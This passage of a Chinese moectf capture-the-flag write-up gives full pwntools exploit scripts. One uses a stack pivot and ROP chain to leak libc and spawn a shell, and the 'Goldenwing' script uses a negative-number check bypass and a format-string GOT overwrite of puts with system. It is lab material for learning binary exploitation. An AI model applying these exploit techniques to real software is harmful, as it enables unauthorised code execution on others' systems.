1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/7CXomHpSaDlkYQXe2zeZi?port=9999" ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) lea_addr_read = 0x4011E5 leave_ret = 0x4011FC call_read_leave_ret = 0x4011F6 pop_rdi = 0x4011C5 data_seg = 0x404000 + 0x750 payload = b"" payload += b"A" * 0x80 payload += p64(data_seg + 0x80 ) payload += p64(lea_addr_read) p.sendafter(b"16 bytes can you kill me?" , payload) payload = p64(data_seg + 0x80 ) payload += p64(pop_rdi) payload += p64(elf.got["puts" ]) payload += p64(elf.plt["puts" ]) payload += p64(lea_addr_read) payload = payload.ljust(0x80 , b"A" ) payload += p64(data_seg) payload += p64(leave_ret) p.send(payload) p.recvline() puts_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) p.info(hex (puts_addr)) libc_base = puts_addr - libc.sym["puts" ] p.info(hex (libc_base)) system = libc_base + libc.sym["system" ] payload = b"/bin/sh\x00" payload += b"A" * 0x18 payload += p64(pop_rdi) payload += p64(data_seg) payload += p64(system) payload = payload.ljust(0x80 , b"A" ) payload += p64(data_seg) payload += p64(leave_ret) p.send(payload) p.interactive()
flag: moectf{haVe_a_GoOd_tlMe_wH113_TR@V3ling-wiTh-sTaCK!1a}
25 One Chance !
还没做
26 Goldenwing
好题当赏。
IDA查看程序,main函数里提供了几个方法
整个程序的大意就是要和一个boss打架,你有攻击值和生命值,用practice可以提升自己的数值,但只能提升一次。用fight函数可以和boss打架,打赢之后会给你两次fmt的机会。
同时如果在菜单栏选了-889275714
还会给你在栈上布0x20
个字节的机会。
回头看practice函数,可以让你自定义得增加攻击力和生命值,但是有数值限制。
发现并没有负数检查,所以可以利用负数去加一个很大的数值。
这道题考察的很全面,综上大体的思路已经有了:
首先利用practice
的负数溢出,去给生命值和攻击力叠满
之后利用god
函数,在栈上布置如下的数据
1 payload += b"/bin/sh\x00" + p64(elf.got["puts" ]) + p64(elf.got["puts" ] + 1 ) + p64(elf.got["puts" ] + 2 )
- /bin/sh
是最后劫持puts的got去调用system要用到的,后面三个是puts的got表中地址的低三字节地址。
利用fight
函数调用success
第一次fmt利用%s
泄露puts函数地址,从而泄露libc基址,计算system函数地址
第二次利用逐字节写入的方法,修改puts的got的低三位为system函数的低三位,让他指向system
之后程序会调用puts函数输出上面这段payload,达到system("/bin/sh")
的目的
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/qVhJkFKu1eUit0Av9x06Y?port=9999" ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) p.sendlineafter(b"Press <ENTER> to continue...\n" , b"\n" ) p.sendlineafter(b"Choice> " , str (2 )) p.sendlineafter(b"How much hp you want to grow?" , str (-11 )) p.sendlineafter(b"How much power you want to grow?" , str (-2 )) p.sendlineafter(b"Choice> " , str (0xcafebabe )) payload = b"" payload += b"/bin/sh\x00" + p64(elf.got["puts" ]) + p64(elf.got["puts" ] + 1 ) + p64(elf.got["puts" ] + 2 ) p.sendlineafter(b"Maybe you can write some secret code here?" , payload) p.sendlineafter(b"Choice> " , str (3 )) offset = 17 payload = b"%17$s" p.sendlineafter(b"You get two magic from Goldenwing, how will you use them?" , payload) libc_base = u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) - libc.sym["puts" ] p.info(hex (libc_base)) system_addr = libc_base + libc.sym["system" ] p.info(hex (system_addr)) p.info(hex (libc_base + elf.sym["puts" ])) low_1_byte = system_addr & 0xff low_2_byte = (system_addr >> 8 ) & 0xff low_3_byte = (system_addr >> 16 ) & 0xff payload = "%{}c%17$hhn%{}c%18$hhn%{}c%19$hhn" .format (low_1_byte, low_2_byte + (0x100 - low_1_byte), low_3_byte + (0x100 - low_2_byte)) p.sendlineafter(b"\x0a\x0a" , payload) p.interactive()
逐字节写入的一个问题在于,如何去在写入后面字节的时候考虑已输出的字符数。
我们知道利用fmt漏洞去写入地址的时候,写入的数值等于之前输出的字符的个数。
举个例子,如果在写入第一个字节时,已经输出了0x70
的字符,那么在写入第二个字节时(计划写入0xbd
), 只需要写入(0xbd - 0x70)
个字节即可。
但这种方法在后面的字节比前面大,或者计划写入字节数过多的时候显然不通用。
1 payload = "%{}c%17$hhn%{}c%18$hhn%{}c%19$hhn" .format (low_1_byte, low_2_byte + (0x100 - low_1_byte), low_3_byte + (0x100 - low_2_byte))
我们这里采用一种方法,由于一个字节最大是0xff
,%hhn
写入的最大数值就是0xff
。所以实际上写入的数值和已经输出的字符个数的关系是n = num_of_char % 0x100
。
所以我们在写后一个字节时,只需要再加上一个之前字节的反码,将已输出的字符数抵消掉就好啦。
关于逐字节写入:有的时候我们要利用fmt漏洞去写入一个很大的数据。
如本题所示,常规的思路要将puts的got修改为system,就需要写入六个字节的数据。
如果不利用逐字节写入,为满足%n
的写入需要,前面要输出一大堆的字符,printf的执行时间是非常长的,由于传输时间有限,这种方法在写入大数据时常常达不到预期效果。
考虑到本题的客观事实,由于puts和system在libc中的偏移地址都在三字节以内,同时我们最多只能在栈上布置三个字节的地址,所以使用逐字节写入的方法,去劫持puts的got表。
flag: moectf{YOU_Re41LY-6e@T-gOId3nWinGeb0f554}